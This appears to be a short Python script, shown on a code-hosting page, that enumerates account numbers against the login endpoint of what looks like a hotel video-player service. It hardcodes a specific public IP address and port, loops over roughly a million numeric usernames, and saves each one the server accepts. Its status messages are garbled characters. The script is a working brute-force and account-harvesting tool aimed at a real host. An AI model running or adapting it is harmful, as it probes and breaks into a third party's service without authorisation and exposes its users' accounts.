File size: 960 Bytes
3799485 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
import requests
import json
import time
class tw_hotel():
def __init__(self):
pass
def scan(self,username,host,port):
url = f'http://{host}:{port}/HSAndroidLogin.ecgi?ty=json&mac_address1=02:00:00:00:00:00&mac_address2=08:00:27:41:01:20&net_account={username}&opentype=0&app_ver=362&app_type=MqPlayer'
resp = requests.get(url=url)
if resp.text.startswith('{"Result"'):
print(username + 'ๆๆๆๆๆๆๆๆๆๆ')
with open(f'{username}.txt', 'w') as f:
f.write(username)
else:
print(username + 'ๆ ๆ')
print(resp.text)
pass
if __name__ == '__main__':
a = tw_hotel()
host = '59.125.210.231'
port = '8014'
for i in range(50000000000,50000999999):
username = str(i)
try:
a.scan(username=username,host=host,port=port)
except:
print(username + '่ฎฟ้ฎๅบ้')
|